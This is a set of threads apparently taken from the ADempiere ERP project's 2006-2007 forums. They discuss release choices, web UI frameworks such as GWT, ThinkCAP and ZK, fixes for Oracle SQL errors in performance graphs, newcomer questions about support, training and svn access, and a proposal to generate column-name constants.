I thought we would concentrate on making 3.1.0 work. But I guess a lot of work has been done and 253d is bound to has lots of bug fixes ... hopefully the new bugs it introduces won't be too bad!

I saw talk of 253e in the compiere forums a short while back... I just hope we don't plan on going to go through the whole process again for it!

Still impressive work by all to get so much done so quick ... well done to all involved!

colin

2006-10-26 22:29:04 UTC

Colin,

We are NOT planning to continue moving from core to core along the Compiere development. The issue of what core to use as a definitive foundation was extensively debated in freenode and left as a post for some time (in Adempiere standards a long time, 10 days) for comment from the community. Having said so, this is an open community, a bazaar so if we need to revisit this based on good grounds we will.

Regards

Ramiro

2006-10-27 07:57:32 UTC

>4. Migration tool compatibility
>Done by karsten-thiemann (please confirm this is complete)

The migration tool works with all compiere/adempiere database versions. I'm waiting for a final 3.1.1 db to create the migration script - but it can be done by everybody who wants to test the migration tool. Just follow the instructions in the readme.txt.

Regards,
Karsten

2006-10-27 13:13:04 UTC

Hi Ramiro,

Like I said I wasn't around (for personal reasons) so I wasn't complaining!
I was just expressing surprise. And pointing out that getting the code under GPL is not really a reason to change as the 253b was, strictly speaking, also available under GPL ... or more specifically under CPL 1.2.

But Ramiro, it's done and dusted and I said in my previous post it looks like people did a lot hard work to get it done so quick ... so I don't want us both to waste time arguing about it! :)

Colin

2006-10-27 17:38:21 UTC

> I'm waiting for a final 3.1.1 db to create the migration script

It's here:
http://svn.sourceforge.net/viewvc/adempiere/branches/adempiere_branch_3.1.1/data/seed/Adempiere.jar

We're not going to change structure in this initial release.

Regards,

Carlos Ruiz

2007-02-15 10:45:09 UTC

I try to install ADempiere 311 with this requirement
P 4 2 GHz, 1 GB RAM, 80 GB Sata Hdd
ADempiere311-PG-Linux.jar
I followed the installation step from adempiere wiki. I selected installation directory

/home/postgresql/Adempiere and the installation process starts. But it takes to long untill 15 hours the process still running and not complete yet.
Could you give me any suggest to solve it?

Thanks,
Irawan

2006-11-27 20:13:54 UTC

Hi Adempiere guys!

Some days ago I received a mail asking why I was selected GWT. For long time the community has asked a good Web client , but this subjects has not been answered by compiere.

From my appreciation an application as Adempiere requires an excellent Web client , the end customers request frequently, so I decided to look for the suitable technology for this intention, as a result of this search I found that we have three tendencies:

1.- First tendency is based on the use of script languages or labels based on xml and with embedded code. this technology ihas its foundation on the concept of using HTML pages with some embedded programming language such as JSP, PHP, ASP, etc

2.- Second tendency is based on the use of proprietary technologies as Flash for developing business applications.

3.- Third tendency is well-known with the name of WEB 2 or AJAX, this technology pretend to make applications for the Web with an appearance of the Desktop. the technology is not really very new, that is to say, it is widely proved (Javascript, XML, SOAP) the new thing is to do the applications look like desktop ones but inside the Web.

Since my point of view I believe that the best technology we should have to adopt is tendency 3. The reasons are very obvious, WEB 2 is becoming the tendency to follow, the use of the technologies widely sread by Web navigators makes the platform very attractive, the support of important companies in the Web as Yahoo and Google makes us to think that the use of 2 Web will be a fact standard.

Well, some months ago when I reviewed the frameworks to develop AJAX applications I found some of them very good like GWT, ECHO2, ZIMBRA, DOJO. however in this new revision I was surprised with the growing number of good ones, from this new personal analysis the tools I found good for our intentions, in importance order, are:

<http://www.manageability.org/blog/stuff/ajax-libraries>

ThinkCAP JX - ThinkCAP's core is an advanced MVC framework that manages the runtime layout and presentation of GUI components, state management, data binding, validation, and data persistence. The framework is driven by Java classes and XML metadata generated by the Workbench. The current 6.0 version is very Struts-like.

[http://www.clearnova.com/ThinkCAP/servlet/LayoutMgr?Transaction=/dcont.htm&NAME=%2Fcn%2Fthinkcap%2Ffeature%5Fsummary&subhead=thinkcap&\\$LAYOUTS\\$=/cn/inside\\$](http://www.clearnova.com/ThinkCAP/servlet/LayoutMgr?Transaction=/dcont.htm&NAME=%2Fcn%2Fthinkcap%2Ffeature%5Fsummary&subhead=thinkcap&$LAYOUTS$=/cn/inside$)

GWT - Google Web Toolkit (GWT) is a Java software development framework that makes writing AJAX applications like Google Maps and Gmail easy for developers who aren't experience with javascript. GWT lets you avoid tedious and error-prone javascript programming while offering your users the same dynamic, standards-compliant experience. You write your front end in the Java programming language, and the GWT compiler converts your Java classes to browser-compliant JavaScript and HTML.

<http://code.google.com/webtoolkit/>

Echo 2 - Echo2 is the next-generation of the Echo Web Framework, a platform for developing web-based applications that approach the capabilities of rich clients. The 2.0 version holds true to the core concepts of Echo while providing dramatic performance, capability, and user-experience enhancements made possible by its new Ajax-based rendering engine.

<http://nextapp.com/platform/echo2/echo/>

ICEfaces - ICEfaces is a RIA framework that delivers unique Ajax Push capabilities. Discover the power of Ajax Push and create collaborative and dynamic enterprise applications. ICEfaces leverages the entire standards-based Java EE ecosystem of tools and execution environments. Rich enterprise application features are developed in pure Java, and in a pure thin-client model. ICEfaces is based on JavaServer Faces (JSF).

<http://icefaces.org/>

Well my change to ThinkCAP JX instaed of GWT is due to the characteristics of the framework to make critical business applications, so I believe they could be quickly integrated to Adempiere productive environment and be strong. I believe we do not have to fall in the mistake of doing things from scratch like Compiere.

We know that Adempiere is to baazar so I am awaiting its commentaries, suggestions, you criticize.

The knowledge is infinite nape of the neck is finished learning.

more info :

<http://www.adempiere.com/wiki/index.php/3-Tier>

Kind regards

Victor Perez

2006-11-27 20:57:34 UTC

I might also suggest that you take a serious look at General Interface by Tibco (<http://www.tibco.com/devnet/gi/default.jsp>). It recently went open source. I worked recently on a project where we evaluated many of the AJAX/Web 2.0 frameworks you alluded to, and GI came out on top (at the time, it wasn't open source, so we had also compared it against the likes of Backbase). Of those you mentioned, we didn't look at ThinkCAP, so my knowledge of that is limited.

The attractive thing about Tibco, in our opinion, was how well it worked with Web Services (read in a WSDL for simple mapping). In addition, their very mature components such as charting and matrix are very powerful. You could generate the GUI XML used by Tibco directly from Adempiere's meta-data layer, similar to how the Swing UI is dynamically constructed (their GUI XML is analogous to that used by Flex). You can pretty easily incorporate existing javascript libs by DOHO as well.

jeff

2006-11-28 15:46:41 UTC

This is a great topic. I would like to propose a three point strategy for "web enabling" Adempiere and Compiere.

Note that everything in this post is subject to being completely irrelevant. I have not reviewed the new web UI in Compiere 2.6.0a.

With that caveat, the three points in order of precedence are:

- 1) Leverage what already exists - this supports a speedy delivery
- 2) Improve upon what already exists, or implement an entirely new approach, using more modern and sophisticated technology.
- 3) Address the "client/server" issue - This topic really goes beyond the narrow scope of a

web UI, but I'll throw it in here for the sake of longer term vision.

Most of us performing ERP and CRM implementations based on Adempiere or Compiere have built custom web apps based on specific client requirements. The general approach is to leverage what is already there and fix things that do not work. Here is a quick summary of that approach:

The original Compiere code base provides quite a bit of web app infrastructure. You have all of the "W" servlets (WWindow, WLogin, etc.) that provide most of what you need to interact with the back end. This includes AD visibility for rendering pages in a similar fashion to the thick client. There is an implementation of a "web context" which is analogous to the "context" in the thick client.

There are a few issues that prevent the "out of the box" web UI from being fully functional in a production environment.

- 1) Appearance
- 2) Browser dependency - some of the JavaScript, which is easily fixed, prevents the UI from working with any browser other than IE.
- 3) Processes and Reports - they don't work, so you cannot complete documents.
- 4) Custom windows - anything not generated from the AD, such as Payment Selection (manual), Generate Shipments (manual) do not exist in the web client.
- 5) Batch printing

So the general approach for custom web apps is to take what already exists, add Struts and jsp's for more control and page rendering, customize WWindow to get processes and reports to work, customize WWindow with the help of another class to generate the necessary Java beans, and eliminate the servlet code for rendering pages.

This approach leaves the "heavy lifting" where it belongs, with the Compiere Model layer. We are simply abstracting the view.

So to expand upon the three point strategy:

- 1) Leverage what already exists - Use the same approach I described above, but get it into the Adempiere code base so that we can all stop maintaining our own versions.
- Furthermore from a design perspective I would begin with a simple but important UI design change. Make the web UI look like the thick client. There is no reason for the web UI to be in a frameset. Once logged in you should see a menu window, and upon making a menu selection a new window should open. I realize this will require users to turn off "popup blocking" but I think that is a reasonable compromise.
- This point could be quickly accomplished using Struts and jsp's. No need to introduce

additional technologies (yet.) This will also serve to keep the learning curve short for newbies.

I also believe this could be accomplished with a handful of jsp's, form beans, and servlets.

2) Improve upon what already exists - With point 1 accomplished we now have a great web framework that is fully functional and a legitimate replacement to the thick client. From here we can introduce "sexier" technologies, or simply leave this to those of us doing implementations. We could introduce the option here of a custom jsp, which can be referenced in Window Tab and Field so the system knows to use a custom jsp if it exists, and otherwise use the default jsp. This option would be determined during menu generation (or other link generation) and handled as a "forward".

3) The "client/server" issue - Compiere, and by inheritance, Adempiere, is basically a client/server application. Very little work is handled by the app server. There are some hacks such as "create objects on server" and "run processes on server" which seem to have been replaced in newer versions with the option for different network setting (LAN, WAN, VPN, etc.) But these options seem to always create problems.

So when a custom web app is deployed, lets say on a standalone Tomcat server, it is a client just like the thick client. It requires the same database connection as a thick client and all processing is done by the web app, not the app server. This is dramatically better than the thick client because at least you have better network security and users experience better performance, but it is still technically client/server.

There are some decent arguments for this approach. But I believe that business logic should reside on the application server. The current model requires copies of the binary code to be distributed to each client. This creates the very real potential that different versions of business logic end up getting distributed, creating a potential mess.

2006-11-29 01:43:00 UTC

I am definitely for something that does not cost money and is gpl'd.

2006-12-07 04:27:41 UTC

Vince, dou you have sample code integrating Struts and Compiere "W" classes ?

2006-12-08 03:57:11 UTC

Yes. I will try to clean it up and commit it to contributions. Maybe a week or so.

2006-12-11 20:41:39 UTC

I called the people at <http://www.clearnova.com/ThinkCAP> and inquired about their product. There are 2 parts to the product. The sever side jar's etc... which is 100% opensource. The client side development system which is a kind of IDE called workbench. Workbench uses Visual Basic and only runs on Windows! I asked Raj, the owner of ThinkCAP if it was even feasible to program ThinkCAP without workbench and he said absolutely not. Raj did say however that he is going to port the workbench to linux in about 6 months as well as opensource it. You cannot get the current workbench for free, it costs 500.00 a year license. As a result, I do not want to use ThinkCAP for Adempiere web development. I hope we can find a better solution.

Thanks,

Tim

2006-12-11 22:24:18 UTC

I was recently speaking to an ex-colleague and he mentioned his company tarragon was the developer of a web 2.0 RAD called openjacob (www.openjacob.org). He thought perhaps it might interest us here. It's an eclipse plugin, and like many open source projects today they have an open version and a commercial "enterprise" version. But the same development workbench is available to both. The difference seems to be in "connectors" which allow access to different application servers & databases. I told him straight out we would not be interested in a paid for development environment and his reaction was have a look and "if the product has any merits for you, we can find ways so that you can sensibly use it"

Whether this would result in our customers requiring some license I am unsure, obviously I would NOT be in favour of that. If they wished us to showcase their new RAD then that would seem to be acceptable. It seems to be well tested and is used on a fairly large implementation for a german industry giant!

I mentioned we were considering ThinkCapJX and asked did he know of it and were the products competitors and he said

"Yes I think it is not unsimilar to jACOB.

Minusses: It's slower; has its own development environment (jACOB is Eclipse based) so yet another thing to learn; it has no table hooks; no work flow components (we will have shortly) different way of event handling in GUI and DB (jACOB is more like Access but without the "smallness" of it.

Thinkcapjx positives: Screen flow; Cascading updates & deletes; Visual Query Builder (no QBE programming just clicking.)"

To be honest I'm not that pushed on the idea of a RAD... I like a good framework that doesn't remove us too much from the code but perhaps this can give us our web2 gui quicker... or at least core aspects of it anyway. Given my connections I am reluctant to do any more than this for the tool ... and given that others are already reviewing this area could I ask for some reviews of jACOB? If we are interested they can arrange some online web demos!

colin

2006-12-12 22:06:33 UTC

Hi All,

I have been doing more research. I have been looking at:

<http://www.wirelexsoft.com/VistaFei.html>

It is an ide for Google Web Toolkit. What do you guys think?!

On the web page it has:

VistaFei Community Edition - free unrestricted use coming soon.

2006-12-14 12:36:59 UTC

Hi ADempierians!

What you think about Seam?

http://www.theserverside.com/news/thread.tss?thread_id=43487

Sergey Vishniakov

Compiere.LV Team

2006-12-20 05:34:10 UTC

Good

article: <http://java.sun.com//developer/technicalArticles/J2EE/AJAX/DesignStrategies/>

2007-01-14 21:37:18 UTC

Hi

..it's good article submitted by kontro i think google toolkit is a good solution ... when i send the mail to victor about choosing gwt rather than jsf i was thinking about jsf framework but jsf started withowt ajax compnenet, when vendors like oracle ,sun..etc try to add ajax capabilities to jsf product ..they add more complexity to it with wrapping (for example ADF faces) .

the approach is to developpe web application using java api like swing& swt.

google provid gwt and eclipse started RAP

project <http://www.eclipse.org/rap/>(not relased yet) which is similar to gwt.

now google releas it's last verion of gwt which is 100% open source under apache2 lisenace.

after researches i found that gwt is still excellent choice.

good luck

2007-02-10 21:03:00 UTC

Interesting article showing problems with Ajax and Java.

<http://ajaxworldmagazine.com/read/333329.htm>

Regards,

Carlos Ruiz

2007-02-15 16:43:52 UTC

ZK is another selection, It is easy for constructing same ui as adempiere desktop.

<http://www.zkoss.org>

Regards

Noah

2007-02-12 13:07:22 UTC

Hi,

When i start adempiere, and double click "Total Open Requests" graph, i got this error message:

```
=====> BarGraph.loadData: SELECT COUNT(*), COALESCE(s.Name,'-'),
s.R_Statu
s_ID, s.SeqNo FROM R_Request LEFT OUTER JOIN R_Status s ON
(R_Request.R_Status_I
D=s.R_Status_ID) WHERE R_Request.R_RequestType_ID=101 AND
R_Request.Processed<>'
Y' AND R_Request.AD_Client_ID IN(0,11) AND R_Request.AD_Org_ID IN(0,11,12)
AND R
_Request.R_Request_ID NOT IN ( SELECT Record_ID FROM AD_Private_Access
WHERE AD_
Table_ID = 417 AND AD_User_ID <> 100 AND IsActive = 'Y' ) AND s.R_Status_ID
NOT
IN ( SELECT Record_ID FROM AD_Private_Access WHERE AD_Table_ID = 776
AND AD_User
_ID <> 100 AND IsActive = 'Y' ) GROUP BY COALESCE(s.Name,'-'), s.R_Status_ID,
```

s.
SeqNo ORDER BY s.SeqNo [11]
java.sql.SQLException: ORA-12704: character set mismatch
; State=72000; ErrorCode=12704
at oracle.jdbc.driver.DatabaseError.throwSQLException(DatabaseError.java:125)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:305)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:272)
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:623)
at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:181)
at oracle.jdbc.driver.T4CPreparedStatement.execute_for_describe(T4CPreparedStatement.java:420)
at oracle.jdbc.driver.OracleStatement.execute_maybe_describe(OracleStatement.java:896)
at oracle.jdbc.driver.T4CPreparedStatement.execute_maybe_describe(T4CPreparedStatement.java:452)
at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:986)
at oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:2888)
at oracle.jdbc.driver.OraclePreparedStatement.executeQuery(OraclePreparedStatement.java:2929)
at org.compiere.util.CPreparedStatement.executeQuery(CPreparedStatement.java:112)
at org.compiere.apps.graph.BarGraph.loadData(BarGraph.java:240)
at org.compiere.apps.graph.BarGraph.<init>(BarGraph.java:70)
at org.compiere.apps.graph.PerformanceDetail.<init>(PerformanceDetail.java:47)
at org.compiere.apps.graph.PAPanel.actionPerformed(PAPanel.java:92)
at org.compiere.apps.graph.PerformanceIndicator.fireActionPerformed(PerformanceIndicator.java:407)
at org.compiere.apps.graph.PerformanceIndicator\$1.chartMouseClicked(PerformanceIndicator.java:180)
at org.jfree.chart.ChartPanel.mouseClicked(ChartPanel.java:1660)
at java.awt.AWTEventMulticaster.mouseClicked(AWTEventMulticaster.java:212)
at java.awt.Component.processMouseEvent(Component.java:5504)

I'm using oracleXE universal, and using portuguese-Brazil as language.

I Followed the trace log into MRequestType, line 449, and changed from this:
groupBy = "COALESCE(s.Name,'-'), s.R_Status_ID, s.SeqNo ";

to this:

```
groupBy = "COALESCE(s.Name,CAST('-' as NVARCHAR2(60))), s.R_Status_ID,  
s.SeqNo ";
```

I don't know if it's the best way to solve-it, but it's working.

thanks for the great job

2007-02-12 13:23:23 UTC

There are another problem in "Service Requests (Quarter)" graph:

```
=====> BarGraph.loadData: SELECT COUNT(*), TRUNC(Created,'MM'), 0  
as StatusID FROM R_Request WHERE R_Request.R_RequestType_ID=101 AND  
R_Request.Processed<>'Y' AND R_Request.AD_Client_ID IN(0,11) AND  
R_Request.AD_Org_ID IN(0,11,12) AND R_Request.R_Request_ID NOT IN (  
SELECT Record_ID FROM AD_Private_Access WHERE AD_Table_ID = 417 AND  
AD_User_ID <> 100 AND IsActive = 'Y' ) GROUP BY TRUNC(Created,'MM'),  
StatusID ORDER BY TRUNC(Created,'MM') [11]  
java.sql.SQLException: ORA-00904: "STATUSID": invalid identifier  
; State=42000; ErrorCode=904  
at oracle.jdbc.driver.DatabaseError.throwSQLException(DatabaseError.java:125)  
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:305)  
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:272)  
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:623)  
at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:181)  
at  
oracle.jdbc.driver.T4CPreparedStatement.execute_for_describe(T4CPreparedStatement.j  
ava:420)  
at  
oracle.jdbc.driver.OracleStatement.execute_maybe_describe(OracleStatement.java:896)  
at  
oracle.jdbc.driver.T4CPreparedStatement.execute_maybe_describe(T4CPreparedStatement  
nt.java:452)  
at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:986)  
at  
oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.jav  
a:2888)  
at  
oracle.jdbc.driver.OraclePreparedStatement.executeQuery(OraclePreparedStatement.java  
:2929)  
at org.compiere.util.CPreparedStatement.executeQuery(CPreparedStatement.java:112)
```

```
at org.compiere.apps.graph.BarGraph.loadData(BarGraph.java:240)
at org.compiere.apps.graph.BarGraph.<init>(BarGraph.java:70)
at org.compiere.apps.graph.PerformanceDetail.<init>(PerformanceDetail.java:47)
at org.compiere.apps.graph.PAPanel.actionPerformed(PAPanel.java:92)
at
org.compiere.apps.graph.PerformanceIndicator.fireActionPerformed(PerformanceIndicator.java:407)
at
org.compiere.apps.graph.PerformanceIndicator$1.chartMouseClicked(PerformanceIndicator.java:180)
at org.jfree.chart.ChartPanel.mouseClicked(ChartPanel.java:1660)
at java.awt.AWTEventMulticaster.mouseClicked(Unknown Source)
at java.awt.Component.processMouseEvent(Unknown Source)
-----
```

i identified the problem at line 441 of MRequestType

```
groupBy = orderBy + ", StatusID ";
```

but this time, i don't understand the need of this (at least, for oracle) seems like incomplete code. For now, i changed this line to:

```
groupBy = orderBy + ", 3 "; //just-for-now
```

This change may have side effects. Need some help to fix this code.

Best regards.

2007-02-15 19:53:11 UTC

Thanks for the catch Johnny.

Opened tracker and fixed the two bugs here:

[1660876] MRequestType and Performance Graph

http://sourceforge.net/tracker/index.php?func=detail&aid=1660876&group_id=176962&atid=879332

Regards,

Carlos Ruiz

2007-02-14 02:59:11 UTC

how to make a clients be sure 100%
to implement ADempiere...
if i read on this forums,
on the developers side,
it still much ADempiere's bugs/errors to fixed?

thank's
sin-sin

2007-02-14 03:07:01 UTC

Hi Sin-sin,

Yes it is common to have bugs in all software. Just that proprietary software makers do not open up to the web all their bug fixings. But you can see that fact when vendors keep issuing patches or bug fixes and even withdraw or delay releases.

Even in our kernel project - Compiere, u can see lots of bugs. The difference with us is that we discuss the bugs openly and get them fixed openly - all via a transparent and voluntary workforce.

Somehow we tend to think highly of what we are doing. That what we have done is groundbreaking and what we are continuing to do is evolving the best that Compiere should have been if it really adopts Open Source spirit. We also think we have a successful formula because we are getting better deals nowadays and getting a better own baby to implement that we know in and out.

Here you have a living and thriving community that listens to you and responds as human beings, not some commercial entity that plays politics first, think later.

Hope u like that. If not, tell us. We listen.

red1

2007-02-14 03:51:56 UTC

thank you red1...

my point is:
my boss want to implement ADempiere,
and I don't want to let them down,

1. is there any technical training of ADempiere?

2. can I do debugging and fixing errors after that training?
3. after ADempiere "go life"
can I do debugging and fixing errors by myself?
if not,
how fast I can get the "free solutions" from ADempiere,
if any bugs/errors occur?

thank you...
sin-sin

2007-02-14 04:19:38 UTC

Hi,

You can get technical training and paid support from one of the ADempiere service provider.
I'll let red1 to advice you further on that.

Regards,
Low

2007-02-14 04:22:50 UTC

Hi Sin-Sin,

The issue lies elsewhere, it is not just bug free codes (which as explained is a continuum of an app life).

The challenge is called Project Management, as i have written about in other places. So it is not as simplistic as u generalised above. The simple answers to the above is "it all depends". For example, of course u can debug yourself, but are u equipped mentally and experience-wise? People rather pay others to take away the pain, and take it away quickly.

Freedom has its price. I m sure u are willing to pay it with tears and sweat, but think again. If u are willing to take the red pill, we are so willing to be by your side, u can count on it, and yes u can take the free ride. In our same boat.

Please give more info about your location and your plans, so that some of us can chip in some ideas so that u are more clearer of the options.

U have come to the right place. Let us make it worth your while :D

red1

2007-02-14 10:16:35 UTC

A bit to elaborate on the 'it all depends' chapter. There are also focus moments such as which part of the ADempiere suite u want to work well. U want to scope that out and put a timeline of testing to it. Why i m saying all this is to answer your initial question "How to make client 100% sure?" I m sure your client want to see their real needs solved to the T, not some fancy debugging work.

My follow-up question to u shall be, "Sure of what? Which part?" Some parts we know very well to work very well, and thus u can count on us there". Some parts not so sure, just yet.

If u just want to be trained at using ADempiere source and even debugging them, ok, if u have java background with 2 years experience, i will say 7 full workingdays on-the-job training its enuf, in Malaysia if on the job with one of my projects, i dont charge u a single cent except that u drive me around and pay out of pocket expenses (this is just a scenario, and i have to be convinced that u have a valid driving license first). I can show u firsthand how i do things in the project and stretch those 7 days over a month, u can see some life cycle of mapping requirements to source codes / under the hood. And there are lots of other stuff under the hood. U have to put in your own homework days at home on your pc trying out those that u learn and answer your own doubts yourself.

Like i said this is just one scenario that i think can work with me here.

Another will be to have online training say from Kontro or someone who is always online in IRC room. That assumes that u also can afford to be online, type well enough, and feel comfortable been led remotely.

Once u tell us what scope and environment the client is all about, u can find more feedback i m sure. :D

One last thing is about the question if u want to join our boat. As u asked also whether u can continue debugging and submitting bug fixes or wait for free resolved bugs. That will be the ideal from my point of view. U learn along, submitting bug fixes (initially via patches) then even slowly graduating to a committer of ADempiere. I basically have drawn up a very abbreviated plan here. I m in fact still not a committer in the Commit Committee of ADempiere, so if u overtake me, that will be the day.

But for most ppl, i guess u just want to implement ADempiere for your client, publish to us your test results, help in debugging and submit patches at most and nothing else. Any other way, rest assure that we always appreciate and welcome anyone - you are merely helping us in building a high-quality community, which is our prime objective here.

2007-02-14 11:23:50 UTC

Sin-Sin,

Just to complement Trifon and Red1 comments I would like to add some for you to think about it.

If your customer was asking for replacing windows for Linux or to install Jboss or some other infrastructure product I would say you have asked the key questions (access to sources, training, bug fixing, etc). However an ERP implementation is not an infrastructure project. An ERP implementation is mostly a business process project. So there is a whole net set of questions you have to ask yourself, to your boss and the rest of your company organization:

1. Have you written business processes in your client?
2. Have you a standard catalog of products across the organization?
3. is there a source to find what are your suppliers and customers, do you have all the contact information from them?
4. is there a policy on price management?
5. has management defined what info can be migrated manually or electronically to the new ERP?
6. what other application need to be interfaced with the ERP?
7. are senior people of your client willing to work on the definition of the set up required for the ERP to support your business processes?
8. is there a team to help on data population and configuration of the ERP?
9. etc (you got the point)

Initiating an ERP implementation without addressing this and other business related issues is risky and I have seen many such efforts because these issues have not been properly managed.

Support to address these issues is available from the same sources Red1 has explained for the technical side of things, so I will encourage you to pursue this augmented set of questions as appropriate. I can tell you there is a huge light at the end of the tunnel, there quite a few successful implementation of ADempiere currently supporting very happy customers.

Just my opinion on the subject, I hope it helps.

Regards

Ramiro

2007-02-14 19:08:04 UTC

Hi,

just to underline what has been said: we are using ADempiere ourselves and at clients as

well and in comparison to the great functionality it provides the number of bugs is not a problem.

So, join the community and go for it, Sin-Sin :-)

@Ramiro: I like the way you draw the line between infrastructure- and ERP-projects. That is the biggest lesson to learn before you can dive into ERP-business.

Regards
Norbert

2007-02-15 04:40:27 UTC

thank you red1, hengsin, ramiro, nwessel...

i feel, i was captivated by "opensource spirit" :-)

red1 : For example, of course u can debug yourself, but are u equipped mentally and experience-wise?

me: for i am an Object Oriented Visual Programmer for a 4 years (Not C,C++,Java), would you please to tell me:
the steps A to Z ... to be equipped mentally and experience-wise?

red1 : My follow-up question to u shall be, "Sure of what? Which part?" Some parts we know very well to work very well, and thus u can count on us there".

Some parts not so sure, just yet.

me: would you please to tell me: which parts not to sure are?
because after "go life"
a little bugs/errors can disturb the company business...

honestly... i a shame, but...

i will give my additional info
after i can encourage myself and my boss about ADempiere
and after i contribute to this community...

thank you all...
sin-sin

2007-02-15 17:20:53 UTC

- > would you please to tell me:
- > the steps A to Z ... to be equipped mentally and experience-wise?

- > would you please to tell me: which parts not to sure are?

Sin-sin, I recommend you to read this Eric Raymond essay
<http://www.catb.org/~esr/faqs/smart-questions.html>

These questions can fall in some of the categories listed in the essay.

Regards,

Carlos Ruiz

2007-02-16 03:41:16 UTC

thank you Carlos...

sin-sin

2007-02-15 14:08:19 UTC

i need to download Adempiere_314 but i don't found where
can you tell me where?
thanks

2007-02-15 14:11:44 UTC

here: https://sourceforge.net/project/showfiles.php?group_id=176962

regards,
Karsten

2007-02-15 14:14:58 UTC

thanks but i need the code source.

2007-02-15 14:24:39 UTC

You can download from the svn server

MOre details here

http://sourceforge.net/svn/?group_id=176962

2007-02-15 15:09:12 UTC

hi,
can you explain to me how to make cvs I have never use. or another solution tanks

2007-02-15 15:47:05 UTC

Hi!

Is not cvs, is svn.

You can read the following book about svn
<http://svnbook.red-bean.com/>

But if you only want to get the code from the svn server, then you will need an svn client, there are many free out there on the internet, depends on what OS are you using. In linux for example if you have the svn client installed you will need to issue the following command:

```
svn co https://adempiere.svn.sourceforge.net/svnroot/adempiere/trunk adempiere
```

As far as I know there is no other solution, you have to check out the code from the svn server.

Best Regards

2007-02-15 16:12:53 UTC

thanks tou you for your help can you tell me where can i download svn
my os is windows

2007-02-15 16:19:07 UTC

i found this CollabNet Subversion command line client Windows XP
<http://downloads.open.collab.net/collabnet-subversion.html>

2007-02-15 17:29:54 UTC

I'm using TortoiseSVN (<http://tortoisesvn.tigris.org>). It is a subversion client, implemented as a windows shell extension (integrated to the Windows explorer).

Regards,

Alejandro

2007-02-15 17:42:25 UTC

I was going to suggest tortoise, I don't use windows but it seems that there are some adempiere hackers using tortoise for svn tasks.

Best Regards!

2007-02-15 17:48:14 UTC

> I was going to suggest tortoise, I don't use windows but it seems that there are some adempiere hackers using tortoise for svn tasks.

TortoiseSVN is great ! This is one of the tools that i can't find in linux.

Best regards,
Teo Sarca

2007-02-16 10:16:13 UTC

hi

thanks for your help,i succeeded the download but i need the part of manufacturing, like here

<http://adempiere.svn.sourceforge.net/viewvc/adempiere/branches/libero/>
but i can't download this part???

2007-02-16 14:02:16 UTC

We have found cases where the ADempiere windows were not workable for our customers. In these cases we were forced to write our own custom forms. (Using Swing)

One example is where a customer needed to add a large number of detail lines. To create a new record, enter the data for this record and then save , create a new record etc is very time consuming. A single window with a grid works.

Has anyone else been doing this? Some code will be helpful.

Thanks

Martin Augustine

Ntier Software
27 11 334 0504/06

2007-02-16 14:49:31 UTC

Hi Martin,

I have heard something like this. It is very useful and I hope this functionality can be integrated to ADempiere soon.

Regards,

Alejandro

2007-02-16 09:24:08 UTC

i try to install Adempiere_314 for that:

- 1.Run_Setup
- 2.Run_ImportAdempiere

but when i try to run Adempiere i have a big problem:

MSystem.get: get[11]

java.sql.SQLException: ORA-00942: table or view does not exist;

.....

thanks for your help.

2007-02-16 21:20:53 UTC

not much to go on ... but I would guess that the import did not run without error!?

Did you check the log files?

Did you get no errors during the setup & install?

colin

2007-02-16 16:25:39 UTC

i want to now if the manufacturing is included in Adempiere_314 or not.

thanks

2007-02-17 02:24:39 UTC

Manufacturing by E-Evolution is now in SVN>contributions>libero and is considered as a beta release candidate.

We hope users can take that to test on latest ADempiere 3.1.4 and return to us the bugs and results.

We hope to make that as a 2Pack plugin ready for the future release 3.2.0.

Meanwhile we may have a final 3.1.5 release which has more last minute bugs solved before that 3.2.0

2007-02-16 21:27:42 UTC

The process Update Accounting Balance says it's run automatically. What determines when this process is run? Is there a way to set it to run at a specific time? Thanks for your help!

2007-02-17 12:57:12 UTC

Hi

I'm not sure, but what if you try adding the Balance_Update process into the Scheduler? There you can set the frequency.

Regards,

Alejandro

2007-02-16 04:02:01 UTC

How many total modules + forms + reports that ADempiere has now?

How many modules are: "bugs/errors free" guaranteed ?

Where can I found, always a newest list of: "underconstructions modules" frequently?

thank you
sin-sin

2007-02-16 04:09:02 UTC

Hi,

If you want to have dedicated support, you have to get pay support from ADempiere service provider. There is no such thing as 'free guaranteed support' in this world :)

Regards,
Low

2007-02-16 05:03:47 UTC

> How many modules are: "bugs/errors free" guaranteed ?

>>> There is no such thing as 'free guaranteed support' in this world :)

In fact you never have "bugs/errors free" guarantee in any world.
Have you used Microsoft products? And maybe paid for support?
Do you think they are "bugs/errors free" guarantee because you pay?

Have you read the EULA of proprietary products? They are just disclaimers :-)

Regards,

Carlos Ruiz

PS: Just realized this is my post # 500 in this forums :-)
I deserve a cake :-))))

2007-02-16 09:05:57 UTC

Hi Carlos,

here is my cake for you...

```
  ' '
  / II \
 |_____|/
 |_____|/
```

Greetings,
Karsten

2007-02-19 05:06:06 UTC

thank you...
sin-sin

2007-02-17 11:14:19 UTC

In the model classes (X_*), generating a variable/property for each column will ease the development/porting/migration/integration time.

This should have the following form:

```
public static final String COLUMNNAME_<ColumnName> = "<ColumnName>".
```

Why ?

Because in a lot parts of the code you use methods that have as parameter the column name.

Example:

```
is_ValueChanged("SomeColumnName")
```

This you can change with

```
is_ValueChanged(COLUMNNAME_SomeColumnName)
```

When you need to port/migrate/integrate your module from one version to the other, you

need to check if that column is in place.

Also in the development processes is usual to add then delete or rename some column names. You have no control if they are matching the code. Using my proposal, when you compile the code, the compiler will throw an error for fields that are missing, and you will know exactly where the problem is.

BENEFITS: A lot bugs will be eliminated on compile time.

What you think ? Do you meet this kind of problems/troubles ?

Best regards,
Teo Sarca

2007-02-17 14:18:50 UTC

Teo, this sounds good. My +1 vote.

Regards,

Carlos Ruiz

2007-02-17 18:20:17 UTC

Teo great suggestion!!

+1 also from me

Frederick Tsang

